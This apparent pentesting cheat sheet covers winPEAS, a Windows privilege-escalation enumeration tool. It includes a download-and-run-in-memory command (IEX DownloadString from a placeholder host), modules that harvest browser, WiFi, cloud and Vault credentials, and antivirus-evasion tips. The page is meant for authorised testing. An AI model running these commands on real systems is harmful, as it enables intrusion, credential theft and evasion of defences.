root@thehacksparrow:~/writeups$ SYSTEM ONLINE
· log in sign up
← back to cheatsheets
root@sparrow:~/writeups$ cat winpeas.md
// privesc

WinPEAS

21 Jul 2026 · 5 min read
privesccheatsheetswinpeas
winPEAS is the Windows counterpart of linpeas: it automatically enumerates the whole system looking for privilege escalation paths. It walks through services, permissions, stored credentials and weak configurations, highlighting findings by color according to their relevance. It is the first tool to run after landing a low-privilege shell on a Windows host.

The point of winPEAS is not that it finds everything, but that it color-codes the findings: red/yellow flags what is likely exploitable, and that is where you look first. The binary is noisy and any AV will catch it, which is why the .bat version (no .NET) and in-memory execution via the PowerShell variant exist. Filtering by specific modules avoids thousands of lines of irrelevant output.

1. Beginner level — download and basic modules

WINPEAS cheat sheet — Beginner
CommandWhat it does
winPEASx64.exeFull privesc enumeration
winPEASany.exe.NET version compatible with any architecture
winPEAS.batBatch version (no .NET)
winPEASx64.exe quietWithout ASCII banner
winPEASx64.exe systeminfoSystem information only
winPEASx64.exe userinfoUser information only
winPEASx64.exe servicesinfoServices only (unquoted paths...)
winPEASx64.exe applicationsinfoInstalled software
winPEASx64.exe > out.txtSaves the output
winPEASx64.exe log=out.txtSaves keeping the colors
iwr http://<ip>/winPEASx64.exe -o w.exeDownload with PowerShell
winPEASx64.exe cmdcmd checks only (no PowerShell)
winPEASx64.exe helpShows the help
winPEASx64.exe fastFast mode (fewer checks)

2. Advanced level — credentials and in-memory

WINPEAS cheat sheet — Advanced
CommandWhat it does
winPEASx64.exe quiet cmd fastFast, quiet, no PowerShell
winPEASx64.exe filesinfoSearches for sensitive files (credentials)
winPEASx64.exe windowscredsWindows credentials only (Vault, DPAPI)
winPEASx64.exe processinfoProcesses and their permissions
winPEASx64.exe eventsinfoInteresting event logs
winPEASx64.exe browserinfoData saved in browsers
winPEASx64.exe notcolorNo colors (to redirect to a file)
type out.txt | findstr /i 'password'Filters credentials in the output
winPEASx64.exe wifiSaved WiFi passwords
winPEASx64.exe cloudinfoCloud credentials (AWS, Azure)
winPEASx64.exe systeminfo userinfoCombines several categories
winPEASx64.exe networkinfoNetwork info (interfaces, ARP, firewall)
winPEASx64.exe help | moreList of available modules
IEX(New-Object Net.WebClient).DownloadString('http://<ip>/winPEAS.ps1')Runs in memory (PS)

3. Details people miss

  • Run plain winPEASx64.exe first for the full enumeration, but focus only on the red/yellow findings: those are the ones winPEAS considers likely exploitable.
  • Pick the binary by architecture: winPEASx64.exe or winPEASx86.exe. If you do not know the target's .NET version, use winPEASany.exe; and if there is no .NET, fall back to winPEAS.bat (far less thorough).
  • The .exe trips almost any antivirus. To evade it, use winPEAS.bat or run the PowerShell variant in memory with IEX, never touching disk.
  • Colors only show in the console. If you redirect to a file with >, use log=out.txt to keep them, or notcolor for plain readable text.
  • Do not launch the full enumeration if you are after something specific: modules like servicesinfo or windowscreds cut thousands of noisy lines down to what actually matters.

Responsible use

These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.